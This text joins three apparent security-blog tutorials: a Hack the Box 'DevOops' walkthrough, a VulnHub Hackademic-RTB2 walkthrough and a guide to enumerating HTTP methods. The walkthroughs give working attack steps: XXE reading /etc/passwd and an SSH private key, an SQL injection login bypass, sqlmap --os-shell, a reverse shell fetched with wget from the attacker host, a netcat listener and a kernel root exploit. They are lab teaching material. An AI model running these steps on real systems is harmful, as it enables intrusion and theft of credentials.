Hack the Box: DevOops Walkthrough


Today we are going to solve another CTF challenge “DevOops”. DevOops is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Medium
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of DevOops is 10.10.10.91
Walkthrough
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -p- -A 10.10.10.91 --open
From Nmap scanning, we have enumerated port 22 and 5000 are only open ports on the target’s network, therefore firstly, let’s navigate to port 5000 through a web browser. By exploring given URL, it puts up following web page as shown in the below image.
http://10.10.10.91:5000
Since we didn’t get any remarkable clue from the home page, therefore, we have opted DIrb for directory enumeration and execute the following command.
dirb http://10.10.10.91:5000
Hmm!! Here I received HTTP response 200 for /feed and /upload directories.

So we explore http://10.10.10.91:5000/upload in the URL and further welcomed by following web Page given below. The following web page lets you upload an XML file, including XML elements Author, Subject and content. For that reason, we have created an XML file with the help of following code and saved as 1.xml.

 
  
  
  ]>
 
    raj
    chandel
    &xxe;
 
Then browse the xml file, which you have created and intercept the browser request with the help of breast while uploading.

Now send the intercepted data to the repeater.
Inside XXE file, we have injected malicious code to make call for /etc/passwd file, thus, we need to its analysis its result with the help of repeater.
And as you can observe from given below image, the xml code is working wonderfully and throwing the content of /etc/passwd file to us.


Similar, we extract the SSH RSA key by modifying XXE entry as show in the below image. Now copy the whole key and save in a text file.

Since we have copied RSA Private KEY in a text file named as “key” then set permission 600 and try to login to the help of following command.
chmod 600 key
ssh -i key roosa@10.10.10.91

Boom!! We have spawn a shell of target machines, let’s go for user.txt file.
cd /home
ls
cd roosa
ls
cat user.txt
Great!!! We have completed the first task but for obtaining root.txt file we need to escalate the root privilege and to do so we traversed so many directories and files to get next clue.
cd work
ls
cd blogfeed/
ls
cat run-gunicorn.sh
cd resource
ls

There is a problem with your internet connection, please try again later.
git log
And we obtain so many string as shown in the following image which may perhaps SSH key for root login.
So we try some key along git show command to demonstrate the output result. And obtain RSA Private Key which was not working properly.

And finally obtain original RSA Key which is highlighted in Red text, now copy the red color text a file and remove ‘-’ used in each line instead add “-----END RSA PRIVATE KEY-----”
Since we have copied RSA Private KEY in a text file named as “rootkey” then set permission 600 and try to login with the help of following command.
chmod 600 key
ssh -i key root@10.10.10.91


ls
cat rootr.txt
Congrats!! We have found root.txt and from the image below you can see we have obtained the value of root.txt.


Hack the Hackademic-RTB2 (Boot2Root)


Hello friends! Today we are going to solve a very simple and easy CTF challenge of the vulnhub. This is the second realistic hackademic challenge (root this box) by mr.pr0n. Download the target it from here.
Penetrating Methodologies
§  Network Scanning (Nmap, netdiscover)
§  SQL-Injection on Login Form
§  Decrypting Hint to Get ports for port knocking
§  Port Knocking using NMAP
§  SQL-Injection using Sqlmap on url
§  Upload and execute a Reverse shell
§  Reverse connection (netcat)
§  Exploiting target (exploit 15285)
§  Get Root access and capture the flag.
Let’s Start!!!
Start off with finding the target using:
netdiscover


Our target is 192.168.1.102. Now scan the target with nmap aggressive:
nmap -A 192.168.1.102
With the nmap scan, you can perceive the port 80 is open and port 666 is filtered.


Further when you will navigate to port 80 by exploring its IP in the browser, you will be welcomed by a login page as shown below.


Look at this login form; we can try for sql injection to bypass this page. So, we had tried the following malicious character inside the text field as shown in the below image.
Username: ‘or1=1—‘
Password: ‘or1=1—‘



Superb!! We have bypassed the login form. But here, the author has left a message for which indicates that, this is not the correct place to hunt the clue for any loophole.


So we looked into its source code and notice some encoded text here.


Since the above text was URL encoded string and we have used burp suite to decode it. So now decode it into HEX and then then HEX to Text.
“Knock Knock Knocking on heaven’s door”
Feels like it is some kind of port knocking and the 8-bit binary words could be possible some ports.

Further, we copied the binary string so that we can decode it, to obtain readable text.  As you can see it, here we have obtained a series of port number 1001:1101:1011:1001.

We have used nmap to recursively hit the ports using the -r parameter.
nmap -r -p 1001,1101,1011,1001 192.168.1.102
After this when we scanned the the target IP once again using nmap and found that the port 666 is open and also running Apache server.
nmap -sV 192.168.1.102


At this moment, we navigate to the newly opened port on the browser by exploring to following url
http://192.168.1.102:666


While browsing the website, we came across the “List of content items…” this url was holding multiple parameter. I found this URL little bit suspicious against SQL injection, let’s ensure this through sqlmap.


To test the url for SQL-Injection we will use sqlmap to enumerate the database name with help of following command.
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" --dbs ---batch


Yupppieee!!! This VM is vulnerable to SQLi and we have successfully enumerated the possible database name “joomla” through sqlmap, now let’s try to inject our payload with help of –os-shell option.
sqlmap -u "http://192.168.1.102:666/index.php?option=com_abc&view=abc&letter=List+of+content+items...&Itemid=3" -D joomla --os-shell --batch


Superb!! We have spawned the os-shell of the target machine.
Now we will use this os- shell to upload a php backdoor, here we used pentestmonkey’s php-reverse-shell.php which is saved inside /usr/share/webshells/php directory, change the listening IP address as your device and the port number as your choice and start a python server using following command for transferring this file.
python -m SimpleHTTPServer 80
And in the os-shell we will use the wget to download the reverse shell.
wget http://192.168.1.109/revshell.php


Since we have uploaded the malicious php inside the /var/www, therefore let’s navigate to web browser and try to execute the revshell.php file but do not forget to start netcat listener.
nc -lvp 1234


Boooom!!  We have compromise the target shell successfully, Here we have discover the Linux kernel version being 2.6.32, after searching not for long on the internet we found the “RDS kernel exploit for privilege escalation from user to root”.
So we downloaded the 15285.c from https://www.exploit-db.com/exploits/15285/ and move it to Desktop where our python server was already running.
On the taget machine we first use the python one-liner to spawn proper tty shell
python –c ‘import pty;pty.spawn(“/bin/bash”)’
Now we move to tmp folder cd /tmp to download the exploit on the target machine using wget command and compile the C file using gcc.

wget http://192.168.1.109/15285.c
gcc 15285.c –o kernel
Then give the file executable permissions and now run the compiled exploit
chmod 777 kernel
./kernel
and BOOM you got the root. Now go to root directory only to discover that there is a key.txt file

When we tried to read the file then it was found to be encoded into base 64.


With the help of following command we will try to decrypt the content of this file.
base64 –d Key.txt > key
Now when we tried to open the file using file command it gave us the description of PNG image
file key
To view it we copied it to /var/www only to download it and view the image.
cp key /var/www

Now download the file from the url http://192.168.1.102:666/key and open in your system to discover that it’s the root flag and you have successfully solved the CTF.


Multiple Ways to Identify HTTP Header Options


Hi Friends, today we will walkthrough various HTTP Protocol methods and the tools used to extract those available HTTP methods in a web server. As we are already aware that the HTTP protocol comprises of number of methods that can be utilized to not only gather the information from the web server, but can also perform specific actions on the web server. These techniques and methods are helpful for the web application developers in the deployment and testing stage of the web applications.
GET and POST are the most well-known methods that are used to access and submit information provided by a web server, respectively. HTTP Protocol allows various other methods as well, like PUT , CONNECT , TRACE, HEAD, DELETE .These methods can be used for malicious purposes , if the web server is left misconfigured and hence poses a major security risk for the web application, as this could allow an attacker to modify the files stored on the web server.
OPTIONS : The OPTIONS method is used to request the available HTTP methods on a web server.
GET : GET request is the most common and widely used methods for the websites. This method is used to retrieve the data from the web server for a specific resource. As the GET method only requests for the data and doesnot modify the content of any resources, it's considered to be safe.
POST : POST requests are used to send (or submit) the data to the web server so as to create or update a resource. The information sent is stored in the request body of the HTTP request and processed further. An example illustrating the same is “Contact us” form page on a website. When we fill a form and submit it, the input data is then stored in the response body of the request and sent across to the server.
PUT : The PUT method allows the end user (client) to upload new files on the web server. An attacker can exploit it by uploading malicious files or by using the victim’s server as a file repository.
CONNECT : The CONNECT method could allow a client to use the web server as a proxy.
TRACE: This method echoes back to the client, the same string which has been sent across to the server, and is used mainly for debugging purposes.
HEAD: The HEAD method is almost similar to GET, however without the message-body in the response. In other words, if the HTTP request GET /products returns a list of products, then the HEAD /products will trigger a similar HTTP request however, won't retrieve the list of products.
DELETE: This method enables a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to perform a DoS attack.
Now let us use some tools to identify the HTTP methods enabled or supported by the web server
1.Metasploit
Metasploit Framework is a well-known platform for developing, testing, and executing exploits. It is an open source tool for performing various exploits against the target machines.
Metasploit has in-built auxiliary modules dedicated to scan HTTP methods. Through the Metasploit framework command line (CLI), we can identify the HTTP Options available on the target URL as follows:
use auxiliary/scanner/http/options
set rhosts 192.168.1.109
set rport 80
exploit



2.cURL
cURL is a command line tool to get or send the data using the URL syntax and is compatible with various well-known protocols (HTTPS, FTP, SCP, LDAP, Telnet etc.) along with command line (CLI) options for performing various tasks (Eg: User authentication , FTP uploading , SSL connections etc). The cURL utility by default comes installed in most of the distributions. However if in case , cURL is not installed, then we can install the same via apt-get install curl command . For more details refer the below URL
Through the cURL command we can identify the HTTP Options available on the target URL as follows :
curl -v -X OPTIONS http://192.168.1.109
The screenshot displays the various types of allowed HTTP methods (GET, HEAD ,POST,OPTIONS, TRACE), apart from other server specific information (Server response , version details etc)


3.Nikto
Nikto is a Web server scanner that tests Web servers for dangerous files/CGIs, outdated server software and other issues. It performs generic and server type specific checks.
Through the Nikto command we can identify the HTTP Options available on the target URL as follows :
nikto -h 192.168.1.109
The screenshot displays the various types of allowed HTTP methods (GET, HEAD ,POST,OPTIONS, TRACE), apart from other detailed server specific information (Server response , version details etc)


4.NMAP
Nmap is a free and open-source security scanner, used to discover hosts and services on the network. This is another method of checking which HTTP methods are enabled by using an NMAP script called http-methods.nse, which can be obtained from https://nmap.org/nsedoc/scripts/http-methods.html .
Let us use NMAP command to enumerate all of the HTTP methods supported by a web server on the target URL as follows :
nmap --script http-methods --script-args http-method.test-all ='/192.168.1.109' 192.168.1.109
The screenshot displays the various types of allowed HTTP methods (GET, HEAD, POST,OPTIONS, TRACE) along with highlighting the potentially risk methods (i.e TRACE) out of them .


5.Netcat
Netcat is a utility tool having the capability to write and read data across TCP and UDP network connections, along with features like in-built port scanning , network debugging and file transfer etc.
Through the Netcat command we can identify the HTTP Options available on the target URL as follows :
nc 192.168.1.109 80
Press enter and the following options appear in the command line . Enter the server details as follows (and as highlighted in red )
OPTIONS  http://192.168.1.109  / HTTP/1.0
host : 192.168.1.109

The screenshot displays the various types of allowed HTTP methods (GET, HEAD ,POST,OPTIONS, TRACE), apart from other server specific information (Server response , version details etc)



6.Burpsuite
Burp Suite is a platform for performing various security testing for the web applications , from initial mapping and analysis to identifying and exploiting application vulnerabilities.
As we aware that the HTTP OPTIONS method provides us the most effective way to discover the different methods allowed on a HTTP server. So , let us capture the URL request in Burpsuite GUI and change the HTTP method type in the Request section to OPTIONS , as seen below.
As shown , the RESPONSE from the web server not only displays the list of HTTP methods allowed ,however also highlights the server version details (Eg: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL 1.0.0/k DAV/2 PHP/5.4.3)